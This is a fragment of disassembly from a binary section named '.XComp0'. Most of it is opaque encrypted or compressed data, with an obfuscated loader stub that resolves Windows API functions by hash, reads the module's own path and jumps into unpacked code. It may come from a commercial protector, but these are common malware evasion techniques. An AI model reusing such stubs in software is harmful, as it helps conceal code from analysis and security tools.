31CE8CB2h, 0A1787D88h, 9D825E8Dh, 9685FB7Eh, 468B7829h dd 5588684Fh, 8C776176h, 1E098C45h, 0A44548BDh, 5558AF1Bh dd 2E9F6C52h, 51A0B67Bh, 3A35856Dh, 0EA74E0AEh, 0DB4DFD1Fh dd 75F9848Fh, 89762996h, 0AC7A9940h, 0A2F8F8Eh, 183ED1EDh dd 5CD823E0h, 44B0F119h, 10834A2Bh, 805F0000h, 648C6B91h dd 6C4E79ABh, 59826597h, 6D4D78ACh, 51D0629Ah, 974DBA22h dd 0C77D8E30h, 984CBD20h, 0C77D902Dh, 0BEBF5C1Dh, 3B23967Dh dd 648CF296h, 85DDA0BBh, 68532996h, 897D2CA1h, 860E6FACh dd 9E8B2996h, 9E639E53h, 85C5B863h, 45422996h, 9685C3B6h dd 0B3434029h, 735C89h, 0CEA40000h, 6D818C31h, 28AD627Eh dd 0B1567681h, 0B57C19Dh, 8DF02BD6h, 0A299685h, 53CF91Dh dd 410AA60Fh, 26C8A4BBh, 217C5060h, 2C920D33h, 2AFC4FDFh dd 552F8F11h, 0E1DB4BA8h, 0B6BFB0F1h, 0FE0AFh, 0FC15BC00h dd 0CE419D48h, 0FA09AF16h, 0CF36A342h, 0E522CA2Dh, 0EFACE53Fh dd 0DD083CCBh, 0EDD80CFFh, 0DE093BCEh, 0EAD80C01h, 7D6B0E4Dh dd 83E82396h, 0AA638CC5h, 0C5F99D6Fh, 9D3193D2h, 15C4C93Ch dd 0C6B13ADCh, 0FF0CB229h, 0F9E4C3CAh, 359A9D10h, 9B04D5D8h dd 47D6D72Eh, 6CBC6270h, 0EA94591h, 72A158ADh, 29963307h dd 92779784h, 4D2F0ADEh, 2A897h, 95F17100h, 9742980Eh dd 8F9E967Ch, 2F9B242Fh, 0DD04D5D8h, 9D6D3B3Eh, 2BCBB823h dd 1C37D6D3h, 17351600h, 990E927Ah, 0CF390B7h, 0B2E87EEAh dd 0BDEECC87h dd 0D52C35FEh, 24D5EBFFh, 2ECD5DF1h, 2A0D6E4Bh, 0FCE4DBC8h dd 27C7A213h, 1EDBD2CFh, 0C7CE39A1h, 0F660FC12h, 3FB6537Ah dd 7D7A9F6Ah, 7623AA5Dh, 0C66A079Eh, 9ABCDAB6h, 6D5B649Dh dd 0B8CD8096h, 5830099Fh, 160772A1h, 97842410h, 0D3657F77h dd 97635010h, 942BD61Bh, 5AC6C52Bh, 7B906595h, 86678EB6h dd 0D4842C87h, 9B94B08Eh, 0EC89Ah, 0D43DA400h, 0E629C530h dd 0D231973Eh, 0E71ECB2Ah, 0DD2A9235h, 0E7940D27h, 0F5E00403h dd 0E51034D7h, 0F6E10306h, 0E21034D9h, 7C730615h, 7BF02396h dd 0AB648CBDh, 0A5608976h, 54C25891h, 0A62ED30Eh, 3DFCCB6h dd 0AFCA69A5h, 252995B4h, 9E4B42C5h, 5EDB7B28h, 95A512BDh dd 0CAF4E32Fh, 7B518841h, 0D9D7572h, 0E653E3AAh, 0E418F3D9h dd 0BD30DB01h, 0BA5FBB2Dh, 8F89E999h, 72A75429h, 98E172C7h dd 151D9D2Bh, 0C527C668h, 95379E46h, 0BE739C44h, 0DC9DBE83h dd 591D9D2Bh, 56618AACh, 13479479h, 0F7BEF16Bh, 0E1FF7FEh dd 0D4FB0000h, 0E0073Dh, 0E00AED0Fh, 0F5D60123h, 0E109EC10h dd 0ED24FE26h, 43F90EAEh, 2BD13AA4h, 34E821CCh, 3BE12C91h dd 4A33E099h, 0C723967Bh, 31CE5E22h, 0FA83908Bh, 77299685h dd 9B4E3F8Ah, 0E1A4B77Bh, 0AA299685h, 55B77763h, 7391B0B2h dd 0BE698D21h, 3DE43EA8h, 8F10641Eh, 27D2CF2Fh, 0D4D92A90h dd 0BB44F105h, 0B44BF60Dh, 77E107h, 0A2E7BCD4h, 0CC6DC767h dd 6F7F8633h, 43D65F3h, 0B75B1E3Dh, 0E8D1239Ch, 5AFCA91Dh dd 9E853EDDh, 23A92998h, 0EDF612A9h, 0E9112542h, 0E128E50Ah dd 0EF1EBF38h, 0D845AA4Dh, 0A123423Bh, 7C2BF1Dh, 0FD5398ACh dd 866F80BEh, 0D65h, 0D1739E41h, 9F45CA26h, 0CB719238h dd 9E46BF2Ch, 0D0749337h, 5C803F72h, 704E79ABh, 5F7E699Bh dd 6A5372AAh, 0A65381A3h, 967B0475h, 2CCC8123h, 968591E8h dd 86665129h, 617E6D81h, 638A75ACh, 85D4A5B6h, 54512996h dd 8BBF799Dh, 0B81CC51Dh, 1B346445h, 0C67383F7h, 8EF5C895h dd 0E254B82Fh, 50565F4Dh, 407CFD1Eh, 0CF9239Ch, 0ECC931C5h dd 9C404E2Fh, 13DECB23h, 68C113EEh, 5CB10E51h, 8E2B8878h dd 8A628968h, 0EF3D62B0h, 0CC70B9B1h, 9247C229h, 5144C725h dd 886D7698h, 0CC5h, 0E873CEB8h, 29968595h, 65011512h dd 0E172A7F3h, 2F8FAED5h, 5D203BD8h, 0E8239D5Ch, 0F8F7F71Ah dd 93C2248Fh, 3BEEDF26h, 0F9063BF6h, 0C82135D0h, 9D403E3Bh dd 0E4F21D23h, 0D6184E22h, 9ABE1648h, 98B8F3CCh, 0F56D264h dd 0B0000002h, 7C8731CEh, 5F8EA079h, 9C735B7Ch, 4894019h dd 0BA20B923h, 5C954449h, 9C714E59h, 97745A65h, 3AB34316h dd 0A465886Fh, 91786392h, 0A8618C6Bh, 0C721B525h, 34E5E827h dd 9E1744FDh, 0AB299685h, 5B31ECCh, 0E722F7FEh, 0E02FAB22h dd 16C33CF2h, 0F0EFEEFh, 0A945DE4Dh, 0B342D41Dh, 3EDB0108h dd 0A9255803h, 0E5A22995h, 0C134D1FAh, 44A746E8h, 36E51CC5h dd 2995A943h, 0BA33C3C0h, 22E308EFh, 0AA34390Ch, 19C22995h dd 0E1FEE9ECh, 0EA21A92Ch, 39CAF0FCh, 0B7A36AF0h, 1BC116B5h dd 0E52CFDF0h, 539F0B3Fh, 95A8B5C8h, 0CBAE6D29h, 482995A8h dd 56BE6B5Bh, 2E169C27h, 0B46DA473h, 0D6A7B48Dh, 53299642h dd 0F48DC056h, 61299642h, 0A84631A4h, 0B816C163h, 78556253h dd 430376A5h, 51802996h, 9E539E69h, 73CE7317h, 964295E8h dd 1151229h, 9D1AD402h, 0FCACB3Eh, 3DCEF0FFh, 39461004h dd 6A3A62A3h, 963AD0A9h, 99504D29h, 615EBB75h, 871A27Dh dd 8529963Bh, 2EBD5198h, 0E07A7B90h, 4CF52C76h, 0A10AB8C8h dd 8EA05848h, 8F5CE7BBh, 977D1A2Fh, 0C77EBD41h, 0A5D86307h dd 22239D07h, 0CC75AC65h, 9D07EE8Fh, 98BE6B23h, 9A93799Eh dd 3B642545h, 913BBA5Ch, 0DC4CA45Dh, 9D2D3E3Fh, 0E6CEBB23h dd 3F8A7FB0h, 49BC1D9Ah, 3AAE3CA5h, 0F70039E0h, 2E2135D4h dd 239D6F4Fh, 0C649A5C4h, 3C9D1ACFh, 0DC15C4C9h, 0E3309A25h dd 9D6F4538h, 0CC5C223h, 0B25901EAh, 0E526C8A4h, 0B836983Fh dd 0B78B49EEh, 21945D72h, 1EC31F89h, 7CFD1EE3h, 0F9239D82h dd 7F67EA0Ch, 65299696h, 6DFE7F9Ch, 48741DA4h, 0AB1BCEBFh dd 0F3A058FEh, 0A46D1568h, 5C95921Dh, 268D7FA8h, 7720C508h dd 9537B658h, 77A4D586h, 64211DA4h, 0AAA074ADh, 661744EEh dd 0E31DA39Eh, 7BB4CE26h, 0E70E28CEh, 1F4EE804h, 0EC2FA0CBh dd 0D603FC25h, 4BEBBE2Fh, 31CE4FF1h, 0A1787D88h, 1B47D18Dh dd 3BA41BE6h, 0E80EDBD2h, 8FA71565h, 8B34CB2Fh, 0B85E0B82h dd 0A7524340h, 62B8C152h, 0E370239Dh, 239D629Ah, 87746A17h dd 83B41825h, 0E076AC8Eh, 0E172AD11h, 239D5C98h, 4B6F6815h dd 0A96039BCh, 743E9673h, 0E118110Bh, 23E207F0h, 66FF2D13h dd 0A82DDA02h, 54251BF1h, 0EACDB0B2h, 5025AE1Fh, 0CE29967Eh dd 0C78700F2h, 0CA703082h, 43A98EFFh, 0AB14C5C8h, 41C9CC43h dd 36C29CCAh, 0E9EB83CFh, 7A1976FAh, 0C4B5663Dh, 4129962Dh dd 0C7548D44h, 29962DB6h, 2BE07633h, 4D2F05B1h, 9643BC85h dd 90AB7E6Fh, 299621EDh, 78E7563h, 9FAF6C52h, 5483h, 648C6500h dd 0CA9E76ABh, 0E46503D2h, 0AD568F9Fh, 2995D4CCh, 7D709D42h dd 34B9567Ah, 712D3954h, 7A3422E9h, 78E94D92h, 6485005Fh dd 0B47D2CA1h, 65689F4Bh, 6B53A2B4h, 3ABB4872h, 0AF72AA5Fh dd 2995F50Eh, 0FF50C736h, 47F2FFFFh, 95AA710Ch, 1D31EE29h dd 8D638C17h, 0B67B3F70h, 8EB37E2Ch, 4CD5A8B3h, 55522996h dd 31CE7BC1h, 986D4E8Bh, 698D5C51h, 66FFC080h, 68D11434h dd 0A56D7C64h, 0FA1C08A4h, 523AA644h, 477B502Fh, 0CD000000h dd 174466FFh, 29968566h, 3DEB26E3h, 628C73CEh, 0A62B4B8Ch dd 8C45A46Dh, 8BBE5009h, 299674F2h, 408B22AAh, 2E45C41Ah dd 1533F008h, 31CE7ACEh, 5C0D808Bh, 22937A63h, 0A848A747h dd 2E12B967h, 508Ah, 73CEB600h, 968595E8h, 1151229h, 7AAEFC65h dd 85EC8DCEh, 30A42996h, 2B97780Ah, 729DB135h, 955CA711h dd 0FB46CE73h, 87035A04h, 0A752DF6Fh, 56B8C152h, 48352996h dd 648C90A6h, 27127DABh, 286AA0A5h, 963A92EBh, 0BA120F29h dd 0D579FC31h, 735E8C5Fh, 0FBD1C44Bh, 63F20C25h, 0BF0ABFFFh dd 0CF3445CEh, 44AA2995h, 0FCE1C6C7h, 2E9B9C11h, 756156D7h dd 6C7A91A9h, 54775A80h, 0A06940B5h, 0B5669B7Ch, 2995CFC4h dd 9FB24441h, 2995E051h, 0E0F115F6h, 20C96663h, 0F039F0E5h dd 0D2F70039h, 0E32ED901h, 0EF0AA253h, 0E0D7FFFFh, 55EB0BFCh dd 79AB648Ch, 0D60B57C1h, 0DF28942Bh, 8560193Ah, 20DD2996h dd 9CC33B0Eh, 413E2F8Fh, 6DB2C74Ch, 0A891239Dh, 126BA851h dd 8F239D6Eh, 6DF88192h, 8875239Dh, 7B4B9766h, 48D641E1h dd 0AECF8CB5h, 2B239D65h, 74CD87Eh, 96000000h, 18Ah, 69FFB600h dd 73040831h, 0BC756ECAh, 0F34BCBB0h, 0EFCBF921h, 26CC91Dh dd 2CC29138h, 0CDE654FFh, 3CE92F8Eh, 0A49F0B9h, 239C746Fh dd 0D01F2FECh, 36FD1FF0h, 239C747Ch, 0A1DC77C2h, 1E239C73h dd 0E29BB861h, 5F239C73h, 7E5D8CA2h, 4F6E598Bh, 2CA16288h dd 728DB47Dh, 94CCA14Bh, 5B09C1F7h, 0E5678096h, 9BC74082h dd 1F1C01D3h, 4771EDE7h, 179E6F50h, 9E3DAC42h, 0BC5EB66Bh dd 9858977h, 0D4A5B66Bh, 51239BE9h, 4D78C254h, 0AB949D70h dd 0D9349942h, 45CC05D4h, 38342281h, 69D77697h dd 7FBC46CEh, 0DBDDF599h, 9E0FF8E4h, 0AE62BCBh, 0CB4DAFD6h dd 16Eh, 4D30EB16h, 0CA2915FEh, 36AF4BC0h, 0E722B378h dd 6BFFF147h, 0E32EE1FDh, 0E98DCE45h, 0A7299685h, 0BA5CAD10h dd 0E099BA5Fh, 5D299685h, 749337A0h, 4E7B84BDh, 0D36336B7h dd 8C73CE6Dh, 0B8537964h, 9C57DD71h, 638CAB4Ah, 66886FAAh dd 0D57930A5h, 0FFBE825Fh, 2FDC0266h, 6FD146FAh, 2F523AA6h dd 506D8A50h, 978D99BDh, 50000000h, 73838267h, 0E873CECDh dd 29968595h, 14FBE312h, 0B42D39DDh, 46CEC266h, 0AA13E72Dh dd 0A9F19163h, 0C70205E5h, 0C82F0A27h, 38F1E425h, 7A4A3316h dd 37022996h, 967A611Ch, 4D5EEC29h, 95A83CBh, 0AE46E895h dd 73CE4FF1h, 34AB648Ch, 0A2777E87h, 73CEA68Ch, 968595E8h dd 1151229h, 6651CEF2h, 376858Ah, 80299686h, 0CE9A4E83h dd 0DA7C8731h, 0DDFFF8A1h, 28D5A72Eh, 685813CEh, 93A94D84h dd 7D8831CEh, 5C8DA178h, 5Eh, 0A6FE379Dh, 0E8393079h, 46CEF046h dd 7F33822Ah, 551125FDh, 59846CCCh, 4821946Fh, 945D0C81h dd 0EC8DCE74h, 86299685h, 7ACEB14Fh, 95E873CEh, 12299685h dd 0CEF20115h, 0C0349841h, 4435E6E5h, 0C12995C6h, 0D214F0C4h dd 122E042Ah, 3841D227h, 0B5299685h, 4F6C60ABh, 0E32E0056h dd 73CEED53h, 968595E8h, 0F6251229h, 29968583h, 28CE0300h dd 0FFFE7BC7h, 73CEF9FFh, 968595E8h, 1151229h, 9940CDF2h dd 85CAB360h, 0A0402996h, 3BAB7E6Fh, 383FA84Eh, 69CE7697h dd 76986D4Eh, 25367CEAh, 29968554h, 4637E4D1h, 0C3299685h dd 1BC60BC6h, 0DBD23BA4h, 104BE80Eh, 2F8FB732h, 65765760h dd 59108588h, 44C32790h, 0AE6D4AB2h, 239D53CBh, 7B645B48h dd 93565792h, 0A44AC32Ch, 9D53D4A1h, 9D6A5223h, 5CAB0F18h dd 0FEECBB59h, 981F1820h, 0C342D435h, 6B3DAF97h, 93FA48D6h dd 45000000h, 550613BAh, 239D4B24h, 92DE4A1h, 1E46CE33h dd 0AC993771h, 0E177F303h, 3EB980B9h, 0AF6A6BA0h, 0DF82AC9Fh dd 0C39D2F8Eh, 0EAAB91BCh, 1861F233h, 95239CF4h, 31E821E8h dd 0F1E429C6h, 46CD1638h, 239CF42Fh, 0FAFB0EADh, 0E508CDEDh dd 75E8ED24h, 6E8A5482h, 8AC970C9h, 239CF4EFh, 0D9A4AF6Ch dd 56239CF4h, 77B25177h, 89AD5E80h, 35C26C7Ah, 0AC7D7093h dd 0CCEB858Ah, 44BB48D6h, 689D3E99h, 5F918DA1h, 6C000001h dd 0E8F38695h, 0B370239Ch, 31CE9DA3h, 5D0C818Ch, 78953AB9h dd 0BD4A7275h, 0A6679084h, 0A5DC5D82h, 6E4F5891h, 0A4492E9Fh dd 5570B369h, 7D2995D1h, 29AC5982h, 0A0699E3Eh, 8F7E5F8Eh dd 4979626Ah, 163BA0A4h, 2E8F3600h, 1FBD3ADFh, 0C167A6CFh dd 448DFB13h, 877039B2h, 963AA564h, 1F89D579h, 0EA3548D3h dd 0F5B22995h, 0EA6E0F4Ch, 3EEB2995h, 450D4EF3h, 102F8F00h dd 62E6EE13h, 13E5BB4Dh, 4A2D50B2h, 7ADBC062h, 84BD5AD4h dd 9CBBA6D7h, 0C8AD3123h, 0FD2A15F6h, 3BA31C09h, 0B02642D4h dd 95779838h, 0C2738748h, 6A8F5A3Bh, 0D0A96A8Fh, 4D239D2Bh dd 0D98BBE50h, 8829991Fh, 380D70ABh, 6B8A1DA1h, 583F8A81h dd 48219475h, 72A15881h, 1DA13807h, 0B1629784h, 1DA137C8h dd 79B65845h, 3EB95E7Eh, 0ADD06BA0h, 2A1DA137h, 0A790B47Dh dd 37B8C152h, 48351DA1h, 32A347A6h, 65B67B88h, 0BEFD7F1Dh dd 96DDC8E9h, 72000003h, 0BB1AC24Fh, 9D48FC13h, 0B114C83Bh dd 0A047FD08h, 0FB19CB3Ch, 16F1D986h, 26E507EEh, 15F4D7FEh dd 26E708EFh, 0F823D4FEh, 23967085h, 8CAB4D02h, 9A72A760h dd 271918BCh, 939DB15Ah, 6C508B34h, 50B9249Bh, 9F458C5Dh dd 0A917927Ah, 24AD8EA6h, 69FF2C12h, 0E34B0831h, 0FE2F8F97h dd 72078C01h, 51239D72h, 2DEA8B6h, 0C348D64Eh, 15Ch, 0AA638C25h dd 0B162886Fh, 9685D7A2h, 62A75429h, 4F98BE6Bh, 0DB668468h dd 6D0D3ACDh, 4AB56CA5h, 0A1B267A4h, 29966CD8h, 5D86A855h dd 51B8239Ch, 6D126BA8h, 928F2996h, 70F8C97Ch, 1DE2996h dd 0C82FD80Ch, 0A150E627h, 8F28D13Ch, 0FA0FAE2Fh, 54C61F2Fh dd 126BA8C2h, 8F299669h, 57A25792h, 9668C1BCh, 0AD0F3E29h dd 0B683935Eh, 8F7EADA5h, 0A24CB32Fh, 0A1B56469h, 0C078AC59h dd 7EFF1C56h, 0FB239D52h, 4353E8F1h, 0F138354Ch, 0AF520138h dd 1C299945h, 99F2CC42h, 27C63EE0h, 0F33EEBE2h, 3F6C0D4Eh dd 3CE91DA1h, 48C84CF5h, 0FF9F1123h, 0AB85BE4Ch, 0E42D6CA7h dd 0E51CE552h, 0A15C4336h, 33C3C01Dh, 4AEF18C4h, 5BFB0EADh dd 7CD438E1h, 1861F224h, 951DA134h, 10A304E8h, 903CBB5Bh dd 0A45C9C77h, 0B3BCBEFDh, 238B2h, 64AD1400h, 56B915C0h dd 62A147AEh, 57AE1BBAh, 6D9A42A5h, 77245DB7h, 6590B453h dd 75608487h, 6691B356h, 72608489h, 6FE396C5h, 0EB602396h dd 8731CE4Dh, 7263A04Ah, 7C7B72B7h, 6336B750h, 816988AEh dd 2DA06954h, 688FB57Ch, 0DC836987h, 0CCDB9EBDh, 0AB582995h dd 0C3E6449h, 12FA1FC5h, 70AB163Fh, 2996060Dh, 0A379D8Ah dd 0B67C9208h, 7F8A31CEh, 3CBB5B0Eh, 3CCE5D93h, 0B759717Dh dd 8D30C772h, 6811DA7Ch, 1A9B6A4Fh, 9F40AF3Fh, 0AB61B36Eh dd 2BBF986Fh, 0D3DF717h, 329A3F9Bh, 5C073C7Eh, 0B97698ACh dd 8F9BE89Ah, 49718E2Fh, 0CC6237BEh, 35C27724h, 0D87A5898h dd 0C8CD3AA2h, 443EBB11h, 5E89BB76h, 98755A81h, 229D5C51h dd 74484DBAh, 0FED8C029h, 7D915832h, 203B77E1h, 239D225Dh dd 36CDFBDAh, 0CD1FEABFh, 57A266C9h, 73AE63F5h, 9D04E3E8h dd 46A5C429h, 0D217D2C3h, 0F16EED01h, 0D1819BEh, 12Dh dd 0F92BE609h, 0E71DF2CEh, 0F329DA00h, 0E61EE7D4h, 0F82CDBFFh dd 14B8E71Ah, 48A651F3h, 17B621C3h, 42AB4AF2h, 0EAB19CBh dd 966E2C4Dh, 8444A923h, 0E4DF46CEh, 41A7C47Eh, 65479C61h dd 36A16297h, 0AC7D7095h, 1248DE8Ah, 19B2CE7h, 97842F96h dd 94775562h, 617E6982h, 0A99F75ACh, 48142609h, 4EB9219Eh dd 0B27C9247h, 0E6FAC55h, 8B239608h, 5479789Eh, 2FA66587h dd 7B3EAF7Ah, 98C35C84h, 239607E5h, 0CA6CA562h, 0AABDFF87h dd 0F0DED95Fh, 23AD3FCh, 0E983AF25h, 13FC892Ch, 84AA5FA6h dd 5C858865h, 0F1BD0878h, 97B7C791h, 0A814AB4Eh, 0BB20CF5Fh dd 7AC7434Ah, 0C7E994BFh, 0C966E780h, 80C7EF8Ah, 7AAF6CE7h dd 753925D4h, 0C7EE8FCCh, 0BE6BE780h, 67745998h, 53068786h dd 4B867F6Ch, 65403E96h, 97B7F14Dh, 635CBD77h, 707F8F76h dd 0EC8DCE4Fh, 77E78167h, 0ECA12156h, 0E312F4D5h, 0CD9C11F8h dd 0ED14CD04h, 80E64B2Eh, 0ED18C1E7h, 9ECD31E8h, 15C4C93Eh dd 0C4B13ADCh, 0Dh, 0C5320FFCh, 3DECE124h, 5DF11EC2h, 0AC658CD7h dd 6CA13E29h, 0AA5F7E69h, 719A4423h, 0B84F7B7Ch, 7D8A3235h dd 0BB4A6F78h, 788B2D3Ah, 0C14E7275h db 0CCh db 1Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 2F40h mov [esp], eax push 495h mov [esp], edi push ebp mov ebp, 4F1F6F5Dh or ebp, 47FA4A16h sub ebp, 2BBB53A9h push ecx mov ecx, 1E442A40h sub ebp, ecx pop ecx mov eax, ebp pop ebp push 45F4h mov [esp], esp add dword ptr [esp], 4 pop edi push eax sub dword ptr [esp], 252F4FC8h pop dword ptr [edi+8] add dword ptr [edi+8], 252F4FC8h push dword ptr [esp] pop edi add esp, 4 mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5734FA ; --------------------------------------------------------------------------- db 0BBh, 6Fh, 9Ah db 0CCh db 0F5h, 14h, 66h db 0EFh, 0Ch, 47h ; --------------------------------------------------------------------------- loc_5DCF53: ; CODE XREF: .XComp0:005DA6A0j mov eax, 60018D5h add eax, ebp push eax mov byte ptr [ebp+5F91899h], 47h push 0CF381725h push dword ptr [ebp+5F92719h] lea eax, [ebp+5F93A6Ah] call eax mov ebx, eax lea eax, [ebp+5F92F0Dh] push eax push 104h call ebx mov byte ptr [ebp+5F91899h], 53h push 8307F8BFh push dword ptr [ebp+5F92719h] lea eax, [ebp+5F93A6Ah] call eax mov [ebp+5FFEF52h], eax cmp dword ptr [ebp+5F929B9h], 0 jz loc_5DCFBD mov ebx, [ebp+5F90875h] jmp loc_5DCFC2 ; --------------------------------------------------------------------------- loc_5DCFBD: ; CODE XREF: .XComp0:005DCFACj mov ebx, 0 loc_5DCFC2: ; CODE XREF: .XComp0:005DCFB8j push 100h lea esi, [ebp+5FFEF56h] push esi push ebx call dword ptr [ebp+5F92569h] lea esi, [ebp+5FFEF56h] add esi, eax jmp loc_5DCFE3 ; --------------------------------------------------------------------------- loc_5DCFE2: ; CODE XREF: .XComp0:005DCFEFj dec esi loc_5DCFE3: ; CODE XREF: .XComp0:005DCFDDj cmp byte ptr [esi], 5Ch jz loc_5DCFF5 cmp byte ptr [esi], 2Fh jnz loc_5DCFE2 loc_5DCFF5: ; CODE XREF: .XComp0:005DCFE6j mov byte ptr [esi], 0 lea eax, [ebp+5FFEF56h] push eax call dword ptr [ebp+5FFEF52h] pop eax jmp eax ; --------------------------------------------------------------------------- dd 5BC8E54Fh, 1EA8EF29h, 36E92B3Fh, 39131B8Dh, 0D6CD0Dh dd 2A997232h, 3ECE951Ah, 276DC582h, 762D2D52h, 56B3B25Dh dd 58C480B0h, 6B5394DDh, 389C17A7h, 25BC37F9h, 746DB337h dd 691403Eh, 39B2ECDFh, 27D7BCCAh, 28E9h, 2F9D2A00h, 1D8C9374h dd 81E89DE6h, 64746E2Eh, 642E6C6Ch, 67006C6Ch, 3B2BD14h dd 0FEB980h, 2 dup(0) dd 90DE900h, 0A9680000h, 0E906001Ch, 0FFF9646Eh, 1DAF68h dd 6464E906h, 8C68FFF9h, 0E906001Eh, 0FFF9645Ah, 1F8768h dd 6450E906h, 0A368FFF9h, 0E9060020h, 0FFF96446h, 21E468h dd 643CE906h, 14BBFFF9h, 40A047FDh, 20CA2DCFh, 359641E3h dd 21C92CD0h, 0ADE43EE6h, 339CEEEh, 0EB11FAE4h, 0F428E10Ch dd 0FB21ECD1h, 8AF320D9h, 723966Bh, 0B1629762h, 23966BC8h dd 80B65845h, 95E873CEh, 12299685h, 63F00115h, 50000000h dd 4B8831CEh, 2E9F6AA1h, 0B31CDB7Bh, 85D0A96Ah, 0A6462996h dd 49BD6C61h, 14B67B3Fh, 9257787Fh, 0CC2AA257h, 20E9D4F6h dd 5118FCADh, 0FB977DA3h, 0CEC1C457h, 675099BDh, 548C6A86h dd 96031AA9h, 0DB9AA95Bh, 9B299622h, 5B52BB24h, 56FBCD71h dd 5E9340C7h, 879239B8h, 9630B1CCh, 0B8712E29h, 69FFAA84h dd 85671241h, 1AE42996h, 14ABEA22h, 0C009C05Eh, 75F4B319h dd 432C6F93h, 94BA6F96h, 46A6297h, 561E31B7h, 0A9C184AAh dd 442F8F8Dh, 0C8AD5657h, 46239D5Dh, 8B6C61A6h, 4225A85Fh dd 0EA1D6F9Ch, 791A05FCh, 451A2BC9h, 34CB748Ch, 906F7F88h dd 0A613AC42h, 0B57C8F2Dh, 40C56940h, 48D616ACh, 31169h dd 0CE8DB400h, 239D2EABh, 65DB7B28h, 918C31CEh, 9685F782h dd 42877429h, 0DE789E4Bh, 4BB224B9h, 0C011C766h, 6C4F483Bh dd 54AD549Dh, 38A816Bh, 2BB4C556h, 74312996h, 48C655E2h dd 0D62F8F44h, 860702E9h, 0CEBB43D3h, 4C2DEE13h, 0C9239D13h dd 2A093ADCh, 0E7CBBB3Ch, 5C85DD4Bh, 36E82FA5h, 6AB6EC7h dd 5B3D40DBh, 0CDBA5F6Eh, 73442629h, 22DF6567h, 2ADB00F7h dd 8760F6A3h, 0A45D8513h, 8F7C625Dh, 0A8AB4B1Eh, 5F7208E1h dd 0B0557681h, 5377569Eh, 66AB5882h, 648976ABh, 3E9673A9h dd 0F90BFB82h, 0F403138Fh, 0B8C152CBh, 35537840h, 40C2BB58h dd 423F5378h, 2A714287h, 70623D02h, 64A767Fh, 0FCE30000h dd 0E808EF15h, 0E8D2F527h, 0DDFEE91Bh, 0E9D1F428h, 0D54CE61Eh dd 1BC146A6h, 43F912BCh, 2CD039A4h, 33E924C9h, 522BE891h dd 0CF239669h, 638C561Ah, 8F9D6FAAh, 0B5A53CC4h, 66F4ED01h dd 0E46FAAF0h, 2F8EEAFEh, 0E750F4B1h, 80780112h, 8F5239Ch dd 0B2276CE6h, 0FE43FE24h, 0BE2FDA01h, 801D60FBh, 0ED9A239Ch dd 0D33F1224h, 26299598h, 0DE4CC079h, 34B18BB9h, 9079645Bh dd 785CBD7Eh, 2DA16558h, 0CD8EB361h, 1DA380ACh, 77DA7C29h dd 0B6413A9Dh, 6D94CE58h, 4A44094h, 990CCFDDh, 0F498D275h dd 76338AFEh, 9F3DBA7Fh, 7A9F886Ch, 0B5EEFD3Ah, 753C5A1h dd 2E9027D2h, 0ED01D8DDh, 9C32B5Ah, 6E939085h, 244E4193h dd 5F19493Dh, 31BF20CFh, 8CE9C0BAh, 0B46DA4EAh, 0FCD97260h dd 0FF91E5Fh, 6EE9B79h, 9439618Fh, 6CA57479h, 30C770CAh dd 5B0E7F90h, 7A933CBBh, 0A5131899h, 64516204h, 544h, 0ED0F02DDh dd 0F329E60Ah, 0E71DE6D4h, 0F22ADB00h, 0FC20E7D3h, 40ACEB26h dd 0CB215C7h, 0D3FADDFFh, 6E70E36h, 4AEFD507h, 96687009h dd 0B878ED23h, 5278638Ch, 0A46D3CB1h, 0F32FB931h, 9AAC64Eh dd 41975BB3h, 22937856h, 0C98AA747h, 2F8EE619h, 35D6F8FFh dd 0AD45E9C0h, 8735A3D3h, 0D245A766h, 0BE63AE75h, 95A5D883h dd 6522239Ch, 65F367D1h, 0E029E00Bh, 0EC21BE39h, 111E30E9h dd 9CAFE702h, 62978429h, 0B787855h, 1DE8D130h, 0F4616EB7h dd 3F8A3FC8h, 88953A9Dh, 9C81B2CBh, 41C2281Dh, 9737A05Dh dd 6DA47578h, 3E64F268h, 1DC13E03h, 0E8ED1EC0h, 24F5F831h dd 99E33F12h, 66512395h, 9A694F86h, 6B8B5E4Fh, 20427993h dd 0B97F0FB1h, 0CA370h, 757EA5D0h, 46770h, 30E10000h, 0A05E90Ch dd 3EC5F3D2h, 0BFADF06h, 39CEEED9h, 0C3F03103h, 0A94CF017h dd 0B114C843h, 0FADDFF0Ah, 0DE0438D5h, 677FFA19h, 47FC2396h dd 0E873CEA9h, 29968595h, 0F2011512h, 0DD4D40CDh, 0FEA0F4Bh dd 1BC647A8h, 96857D00h, 0E90DFA29h, 8F9B9066h, 7B14E2Fh dd 0E20F9FCh, 0F70039E6h, 182234D3h, 1FBABh, 0B1F11500h dd 0BB66BC2Ah, 8F9E72A0h, 2DD8C52Fh, 2E40080Ch, 0FFF6D999h dd 0BE5D5CEFh, 649D18D9h, 5FCFC6B7h, 758E3C2Eh, 0B8409491h dd 0C2C2D163h, 5ACC98BEh, 9720D900h, 0E41D534h, 34598B38h dd 0F3676E1Bh, 3D043D65h, 0B75973D7h, 6B1AF211h, 0B01087FEh dd 0D7CCF5Fh, 722E63D4h, 49738CB5h, 493841D2h, 0C8B5226Ah dd 39DD8C01h, 13BA45FCh, 0AC428FD9h, 0CE03D7CBh, 0E924C928h dd 0E322C730h, 0E1FEE953h, 0FD34D1FAh, 0F9A891Eh, 0FBEA0BB3h dd 36Ch, 0F527EA05h, 0FB21EED2h, 0EF15EEDCh, 0FA22E308h dd 0E418EFDBh, 38A4D34Eh, 24CA2DCFh, 2B9235E7h, 1EBF26DEh dd 0D2A74DEFh, 96663841h, 7010B523h, 6FAA638Ch, 26A76888h dd 0A9628C73h, 8E17524h, 27B9861h, 7F299686h, 66F06C82h dd 0C33C053Ch, 2801F41Bh, 0BA9F4306h, 55522F8Fh, 6FEAADAFh dd 0C178A1F9h, 0A03E9536h, 0BD90A66Bh, 29966851h, 0B542F7A4h dd 26570417h, 0A31DA437h, 0EFAA2BE6h, 755DE5Fh, 2AAC8620h dd 44BB66BCh, 52DF6F98h, 0B8C152A7h, 2E8EC24Eh, 0A885798Eh dd 0C24F126Bh, 57928F8Eh, 57B694B7h, 0D494BBh, 7CFF3502h dd 0E29BB8B5h, 5F88C8D5h, 2FC767A2h, 696C9D40h, 2B699C93h dd 0F93072A4h, 0CEEE0930h, 0EC25E407h, 0DFD8A14Ah, 18F1DCFDh dd 0E90DC495h, 8AAFEB7Dh, 39BC4F6Dh, 0B261CE60h, 8EC627D3h dd 56B11938h, 